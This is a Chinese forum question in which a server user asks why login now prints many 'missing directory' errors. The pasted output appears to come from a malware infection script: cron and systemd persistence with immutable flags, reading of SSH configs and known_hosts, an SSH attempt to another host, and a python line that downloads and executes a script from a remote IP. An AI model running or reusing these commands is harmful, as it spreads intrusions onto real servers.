问为什么最近每次登录都是提示我少目录？到底是什么情况？

fs.file-max = 500000

mount: can't find /tmp in /etc/fstab

mount: can't find /var/tmp in /etc/fstab

bash: line 11: ufw: command not found

bash: line 61: /etc/init.d/linux-d: Permission denied

bash: line 63: /etc/systemd/system/linux-d.service: Permission denied

bash: line 64: /root/.bash_profile: Permission denied

chmod: changing permissions of ‘/etc/init.d/linux-d’: Operation not permitted

chmod: changing permissions of ‘/etc/systemd/system/linux-d.service’: Operation not permitted

chattr: No such file or directory while trying to stat /var/spool/cron/crontabs/root

bash: line 84: /etc/cron.d/root: Permission denied

bash: line 85: /etc/cron.d/apache: Permission denied

bash: line 86: /etc/cron.d/nginx: Permission denied

bash: line 88: /var/spool/cron/crontabs/root: No such file or directory

bash: line 89: /etc/cron.hourly/oanacroner: Permission denied

chmod: changing permissions of ‘/etc/cron.d/root’: Operation not permitted

chmod: changing permissions of ‘/etc/cron.d/apache’: Operation not permitted

chmod: changing permissions of ‘/etc/cron.d/nginx’: Operation not permitted

chmod: changing permissions of ‘/etc/cron.hourly/oanacroner’: Operation not permitted

chattr 1.42.9 (28-Dec-2013)

Flags of /etc/cron.d/root set as ----ia-------e--

Flags of /etc/cron.d/apache set as ----ia-------e--

Flags of /var/spool/cron/root set as ----ia-------e--

chattr: No such file or directory while trying to stat /var/spool/cron/crontabs/root

Flags of /etc/cron.hourly/oanacroner1 set as ----ia-------e--

cat: /root/.ssh/config: No such file or directory

cat: /home/*/.ssh/config: No such file or directory

cat: /root/.ssh/config: No such file or directory

cat: /root/.ssh/config: No such file or directory

cat: /home/*/.ssh/config: No such file or directory

cat: /root/.ssh/config: No such file or directory

cat: /root/*/.ssh/known_hosts: No such file or directory

cat: /home/*/.ssh/known_hosts: No such file or directory

Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).

ssh: connect to host 49.232.241.167 port 22: Connection refused

bash: /tmp/2.gif: No such file or directory

bash: line 1: 7337 Killed python -c 'import urllib;exec(urllib.urlopen("http://5.42.67.3/d.py").read())'

chmod: cannot access ‘/tmp/bash’: No such file or directory

chmod: cannot access ‘/tmp/python’: No such file or directory

bash: line 1: /tmp/bash: No such file or directory

bash: line 1: /tmp/bash: No such file or directory

-bash-4.2#